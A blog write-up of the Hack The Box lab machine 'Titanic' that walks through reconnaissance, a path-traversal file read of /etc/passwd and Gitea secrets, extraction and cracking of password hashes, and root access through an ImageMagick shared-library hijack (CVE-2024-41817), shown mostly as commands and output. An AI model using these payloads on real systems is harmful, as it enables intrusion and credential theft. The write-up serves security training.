Hackthebox: Titanic

Foued SAIDI Lv4
  2025-06-21 11:15:24 2025-06-21 11:15:24 Created   2025-06-21 11:18:56 2025-06-21 11:18:56 Updated    

Overview

Titanic is an easy-difficulty machine from Hack The Box dealing initially with a Local File Inclusion concluded from some source code analysis to retrieve the gita app.ini file and later a database file with hashes to crack which will grant us system access. We’ll then abuse an arbitray code execution in ImageMagic CVE-2024–41817 by creating a shared library that’ll copy the root flag to our directory.

Titanic-info-card
Titanic-info-card

Reconnaissance

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└─$ nmap -A -Pn 10.10.11.55                                           
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 04:42 EDT
Nmap scan report for 10.10.11.55
Host is up (0.64s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   651.04 ms 10.10.16.1
2   320.60 ms 10.10.11.55

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.67 seconds

We can see we have our usual 22 ssh port alongside a web app deployed on port 80 that’s redirecting us to titanic.htb, so let’s go ahead and add that entry to our /etc/hosts file.

Subdomain Enumeration

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┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://titanic.htb/ -H  "Host:FUZZ.titanic.htb"  -fc 301


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 678ms]

We can see that we have a dev subdomain that we’ll add to our /etc/hosts too.

Web Application - http://titanic.htb

We can see this is a normal web app with a few features where we can also book a trip:

Web Application
Web Application

Web Application - http://dev.titanic.htb

The dev subdomain is a Gitea instance that has a couple of repositories:

Web Application
Web Application

flask-app - Local File Inclusion

The flask-app seems like the main domain application:

Web Application
Web Application

We can confirm this too:

Web Application
Web Application

Looking at this source code, we can see that we can download our trip’s ticket by providing a ticket parameter in the url after the download endpoint. Which tells us this is vulnerable to LFI:

LFI
LFI

We try this out and indeed it works:

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┌──(kali㉿kali)-[~]
└─$ curl http://titanic.htb/download?ticket=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

Checking the Gitea docs, we see that there is a default app.ini file that we can access:

Gitea
Gitea

After trying multiple locations, the file turned out to be under the developer user’s home directory:

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┌──(kali㉿kali)-[~]
└─$ curl http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

We can see the app.ini file is referencing a gitea.db database file which we can download.

We can now read the file this way:

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┌──(kali㉿kali)-[~/Downloads]
└─$ sqlite3 _.._..__home_developer_gitea_data_gitea_gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes 
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

I got the command from 0xdf’s Compiled writeup

We can later crack the hashes using hashcat:

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┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user --user
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 4800H with Radeon Graphics, 2212/4489 MB (1024 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

And finally we can login as developer user on the system:

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┌──(kali㉿kali)-[~]
└─$ ssh [email protected]        
The authenticity of host 'titanic.htb (10.10.11.55)' can't be established.
ED25519 key fingerprint is SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'titanic.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 21 09:19:49 AM UTC 2025

  System load:           0.0
  Usage of /:            88.2% of 6.79GB
  Memory usage:          17%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.55
  IPv6 address for eth0: dead:beef::250:56ff:fe95:a948

  => / is using 88.2% of 6.79GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$ cat user.txt 
7fcebeedd3107e6a6249f63d68713325
developer@titanic:~$

Privilege Escalation

CVE-2024–41817 - ImageMagick arbitrary code execution

Doing some enumeration on the system, I find this script under /opt:

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developer@titanic:/opt/scripts$ ls
identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:/opt/scripts$

Checking imagemagick’s version:

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developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
developer@titanic:/opt/scripts$

ImageMagick is a free and open-source software suite, used for editing and manipulating digital images. The AppImage version ImageMagick might use an empty path when setting MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables while executing, which might lead to arbitrary code execution by loading malicious configuration files or shared libraries in the current working directory while executing ImageMagick. The vulnerability is fixed in 7.11-36.

We can use this simple PoC which creates a shared library that copies the flag file and changes its permissions:

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gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
    exit(0);
}
EOF

We will head to /opt/app/static/assets/images/ since the script is going there, create our payload and just wait a bit for it to execute and we get our root flag:

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developer@titanic:/opt/scripts$ cd /opt/app/static/assets/images/ 
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg  exquisite-dining.jpg  favicon.ico  home.jpg  luxury-cabins.jpg  metadata.log
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
    exit(0);
}
EOF
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg  exquisite-dining.jpg  favicon.ico  home.jpg  libxcb.so.1  luxury-cabins.jpg  metadata.log
developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg  exquisite-dining.jpg  favicon.ico  home.jpg  luxury-cabins.jpg  metadata.log  root.txt
developer@titanic:/opt/app/static/assets/images$ cat root.txt 
76fe4c7662ebe5785c1214babf9b555e
developer@titanic:/opt/app/static/assets/images$

That was it for Titanic, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Titanic
  • Author: Foued SAIDI
  • Created at : 2025-06-21 11:15:24
  • Updated at : 2025-06-21 11:18:56
  • Link: https://kujen5.github.io/2025/06/21/Hackthebox-Titanic/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Hackthebox: Titanic
  1. Overview
  2. Reconnaissance
    1. Subdomain Enumeration
  3. Web Application - http://titanic.htb
  4. Web Application - http://dev.titanic.htb
    1. flask-app - Local File Inclusion
  5. Privilege Escalation
    1. CVE-2024–41817 - ImageMagick arbitrary code execution